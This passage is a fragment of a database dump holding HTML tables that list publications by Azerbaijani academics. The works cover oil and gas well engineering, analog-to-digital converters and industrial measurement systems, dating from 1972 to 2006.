стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Прогнозирование накопления жидкости на забое газовых скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №23</p></td><td><p>1986</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" кафедрасынын ихтисас фяннляри цзря лабораторийа ишляри Топлусу</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1993</p></td><td><p>86.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Эцняшли нефт йатаьы цзря \"фасиля\" лай дястясинин нефт ещтийатларынын щесабланмасы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>Н.В. Нясибов</p></td><td><p>Азярбайъан Республикасы</p><p>\"Тящсил\" Ъямиййяти. Техника журналы, №3</p></td><td><p>2002</p></td><td><p>6.0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on estimation of production efficiency in oil recovery proceg</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №2</p></td><td><p>2003</p></td><td><p>5.5 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on improvement of \"cost-revenue\" relation in oil and gas production</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №1</p></td><td><p>2004</p></td><td><p>7.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decreasing the production costs in oil and gas industry</p></td><td><p>Journal article</p></td><td><p>R.S. Gurbanov,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge</p><p>Series Business. \"Education\" Society of</p><p>Azerbaycan Republic, №3</p></td><td><p>2004</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Role of Reengineering in training of specialists for national economy</p></td><td><p>Symposium</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov</p></td><td><p>3<sup>rd</sup>&nbsp;International Symposium on Electrical, Electronic and Computer Engineering.Nicosia, North Cyprus</p></td><td><p>2006</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Fuzzy Dupuis equation and its application for determination of fluid influx</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov&nbsp;</p></td><td><p>4th International Conference on soft computing with words&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and perceptions in system analysis, decision and control, Antalya&nbsp;</p></td><td><p>2007</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование вопросов вибрации скважинного оборудования при газлифтном способе добычи нефти</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, Б.А. Аскеов, О.Т. Багиров</p></td><td><p>Международная конференция \"Современные методы и средства&nbsp;&nbsp;&nbsp; неразрушающего контроля и технической&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; диагностики.\"</p></td><td><p>2008</p></td><td><p>2.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Газ гуйуларынын атгы хятляриндя щидрат ямяляэялмя йеринин тяйини</p></td><td><p>Journal article</p></td><td><p>О.Т. Баьыров, Б.Я. Яскяро,</p><p>Л.И. Манафов, Р.С.Гурбанов</p></td><td><p>Азярбайъан Елми-тядгигат Елми-техники Информасийа вя Техники-игтисади Тядгигатлар Инытитуту. Информасийа вяряги, №10</p></td><td><p>2003</p></td><td><p>4.0 səh</p></td></tr></tbody></table>  <br></div>'),(1550,967,'az','Ramiz Ahmadov','Ramiz Ahmadov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство для автоматической периодической откачки жидкости из малодебитных глубиннонасосных нефтяных скважин</p></td><td width=\"102\"><p>&nbsp;</p><p>&nbsp;</p><p>статья</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Рустамов Н.С.</p><p>Савин Ю.А.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №4, 1972</p></td><td width=\"60\"><p>1972</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу дискретизации процесса&nbsp; преоб-разования интегральных характеристик сигналов переменного тока произвольной формы</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №1, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ методической погрешности преоб-разования интегральных характеристик периодических сигналов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №6, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь действующего значения периодического напряжения в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-75», т.2, Кишинев, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь мощности и действующего значения переменного напряжения</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№499662, Бюллетень изобретений, №2, Москва, 1976</p><p>&nbsp;</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный аналого-цифровой преобразователь на интегральных микросхемах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Приборы и техника эксперимента,</p><p>№2, АН СССР,&nbsp; Москва, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>A functional analog-digital converter based on integrated microcircuits</p></td><td width=\"102\"><p>article</p></td><td width=\"84\"><p>Abdullaev I.M.</p><p>Akhmedov R.M.</p></td><td width=\"102\"><p>Plenum Publishing Corporation, New</p><p>York, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный генератор &nbsp;автоматической установки для контрольных испытаний электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Техническая информация, серия «Энергетика и автоматика»</p><p>№ 12, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Разработка и исследование измерительных преобразователей интегральных характеристик сигналов переменного тока произвольной</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедов Н.Я.</p><p>Эфендиев С.Т.</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов Всесоюзной конференции&nbsp; «ИИС-77», т.2, Баку, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Некоторые вопросы создания измерительных преобразователей сигналов переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов 1 Закавказской конференции&nbsp; Молодых ученых и аспирантов «Разработка и внедрение АСУ ТП в цветной и черной металлургии , химической и др.отраслях промышленности», Диижан, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Исследование,разработка и изготовление образца быстродействующего регистри-рующего прибора для измерения напряжения, тока и мощности при кон-трольных испытаниях электродвигателей мощностью до 100 квт</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Отчет НИР, № Гос.регистрации 77031917, Баку, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>120</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный преобразователь</p><p>«напряжение-частота»</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>&nbsp;</p><p>Приборы и техника эксперимента,</p><p>№5, АН СССР, Москва, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Измерение коэффициента нелинейных искажений инфранизкочастотных сигналов для систем контроля параметров электронных устройств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>В сб. «Системы контроля параметров электронных устройств», Киев, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Универсальный цифровой прибор для измерения параметров сигналов переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «Методы и средства аналого-цифрового преобразования параметров электрических сигналов и цепей», Пенза, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Принципы построения функциональных АЦП переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов1 Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе преобразования активной мощности в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов П Республиканской научной конференции аспирантов&nbsp; вузов Азербайджана, Баку, 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Сравнительный анализ характеристик некоторых структур интегрирующих АЦП переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Дадашева Ф.Ш.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-79», Ленинград,&nbsp; 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№855518, Бюллетень изобретений, №30, Москва, 1981</p><p>&nbsp;</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№894861, Бюллетень изобретений, №48, Москва,1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ динамической погрешности аналого-цифрового преобразования мгновенных значений при измерении действующего значения напряжения инфранизких частот</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы Ш Республиканской научной конференции аспирантов вузов&nbsp; Азербайджана, Баку, 1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методы и средства измерения переменного напряжения на инфранизких частотах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Элементы автоматики и измерительные информационные системы. Тематический сб. научных трудов, Баку, 1982</p></td><td width=\"60\"><p>1982</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Вопросы построения автоматизированных информационно-измерительных систем контроля качества электроэнергии</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Метрология, стандартизация и управление качеством. Тематический сб.научных трудов, Баку, 1983</p></td><td width=\"60\"><p>1983</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональное аналого-цифровое измерительное устройство</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p><p>Информационный листок, серия «Автоматика и приборостроение»,</p><p>№1, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Современное состояние и перспективы применения микро-ЭВМ и микро-процессоров в системах автоматического контроля и управления технологическими процессами</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия</p><p>«Автоматика и приборостроение»,</p><p>Баку, АзНИИНТИ, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматическое измерение активной мощности в однофазной и трехфазной электрических цепях</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Межвузовский сб.научных трудов «Автоматизация экспериментальных исследований», Рязань, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№1150569, Бюллетень изобретений, №14, Москва, 1985</p><p>&nbsp;</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматизированная информационно-измерительная система контроля качества погружных электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Приборы,средства автоматизации и системы управления» вып.5,Москва, НИИТЭИприборостроения, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Выбор рациональной совокупности контро-лируемых&nbsp; параметров при построении одного класса систем автоматического контроля</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Интегрированные системы управления и переработки информации Тематический сб. научных трудов, Баку,1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Определение погрешности от квантования во времени при преобразовании энергетических параметров&nbsp; электрических сигналов</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Оруджева А.А.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе&nbsp; аналого-цифрового преобразования действующего значения переменного напряжения</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедова Л.Т.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение интегрирующих частотно-временных преобразователей для построения цифровых измерителей активной мощности</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p></td><td width=\"102\"><p>Интегрирующие частотные время-импульсные преобразователи и цифровые средства измерения на их основе. Тезисы докладов, Пенза,1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Современное состояние и перспективы развития систем автоматического контроля электрических параметров промышленных объектов</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия «Авто-матика и приборостроение», Баку, АзНИИНТИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>26</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Лабораторные работы по курсу «Электрические измерения и информационные устройства роботов»</p></td><td width=\"102\"><p>Методическое посовие</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Баку, изд-во АзПИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>42</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>An approach to the architecture of Automatized measuring-computing systems used for electric power quality control</p></td><td width=\"102\"><p>Material of seminar</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Abstracts.&nbsp; Seminar of Intelligent Measurement Systems, Budapest Technical University, 1990</p></td><td width=\"60\"><p>1990</p></td><td width=\"60\"><p>12</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Структурные и алгоритмические принципы построения микропроцессорных измерительно-вычислительных устройств параметров электроэнергетических объектов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Сб. «Микропроцессорные системы и средства управления в технических системах», Баку, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Использование принципа развертывающего преобразования при измерении действующего значения переменного напряжения инфранизкой частоты</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>&nbsp;</p></td><td width=\"102\"><p>Сб. «Информационно-измерительная техника», вып. 19, Пенза, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу проектирования&nbsp; систем автоматизации процесса резания на металлорежущих станках</p></td><td width=\"102\"><p>Материалы</p><p>семинара</p></td><td width=\"84\"><p>Джафаров Э.М.</p></td><td width=\"102\"><p>Материалы Республиканского научно-методического семинара «Методология САПР в машино-строении», Баку, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство автоматического контроля нагрузки на валу по потребляемой мощности главным двигателем металлорежущего станка</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Universal automatic control system of industrial objects microprocessor-based&nbsp; hard wares</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Abstracts. The first National Congress on the Development in Collaborations between Industries and Edicational/Research&nbsp; Centres, Tabriz University, Iran, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>О расширении функциональных возможностей интегрирующих преобра-зователей&nbsp; напряжения в интервал времени</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1996</p></td><td width=\"60\"><p>1996</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Информационное обеспечение систем&nbsp;&nbsp; автоматического управления техноло-гическими&nbsp; процессами металлообработки на основе микропроцессорных средств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1997</p></td><td width=\"60\"><p>1997</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Построение автоматизированной измерительно-вычислительной системы&nbsp; контроля промышленных объектов</p></td><td width=\"102\"><p>&nbsp;</p><p>тезис</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б.</p></td><td width=\"102\"><p>Тезисы докладов Международной научно-технической конференции «Актуальные проблемы пищевой, легкой промышленности и сферы обслуживания», Гянджа,1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение одного вида аппроксимации</p><p>нелинейных характеристик&nbsp; для построения функциональных преобразователей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Техники системлярдя информасийа- юлчмя гурьулары (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б</p></td><td width=\"102\"><p>«Елм» няшриййаты, Бакы, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>302</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональные интегрирующие АЦП систем контроля и управления</p></td><td width=\"102\"><p>Материалы докладов</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы докладов 47-й юбилейной научно-технической&nbsp; конференции, частьП, АзТУ, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясмя системляриндя информасийаны дахилетмя алтсистеми</p></td><td width=\"102\"><p>tezis</p></td><td width=\"84\"><p>Нагвердийев А.Т.</p></td><td width=\"102\"><p>АзТУ-нун 45-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2002</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы&nbsp; просесляринин идаря едилмяси цчцн информасийа мянбяляринин анализи вя сечилмяси</p></td><td width=\"102\"><p>&nbsp;tezis</p></td><td width=\"84\"><p>Ряжябов Ф.А.</p></td><td width=\"102\"><p>АзТУ-нун 46-жы ТЕТК-нын мярузяляринин тезисляри, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения систем автоматического контроля&nbsp; ТП металлообработки</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-практической конференции, Баку, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Верижиляр системи</p></td><td width=\"102\"><p>Dərs vəsaiti</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Шур» няшриййаты, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>201</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы системляриндя буружу момент щаггында информасийанын илкин емалы алтсистеми</p></td><td width=\"102\"><p>Konfransın materialları</p></td><td width=\"84\"><p>Нябийев Е.А.</p></td><td width=\"102\"><p>Али мяктяб тялябяляринин ХЫХ Республика елми конфрансынын материаллары, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методические указания к лабораторным работам по дисциплине «Элементы и устройства систем управления»</p></td><td width=\"102\"><p>Методическoе</p><p>пособие</p></td><td width=\"84\"><p>Намазов М.Б.</p><p>Гасымов А.Ю.</p></td><td width=\"102\"><p>Баку, АзТУ, 2004</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>44</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин схемотехникасы» фянниндян лабораторийа ишляринин йериня йетирилмясиня даир методики эюстяриш</p></td><td width=\"102\"><p>методики эюстяриш</p></td><td width=\"84\"><p>Гасымов А.Й.</p><p>Аширов З.П.</p></td><td width=\"102\"><p>Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>85</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясян дязэащда емал олунан деталын юлчцляриня автоматик нязарят алтсистеми</p></td><td width=\"102\"><p>&nbsp;тезис</p></td><td width=\"84\"><p>Пирийев Е.М.</p></td><td width=\"102\"><p>АзТУ-нун 48-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения функциональных 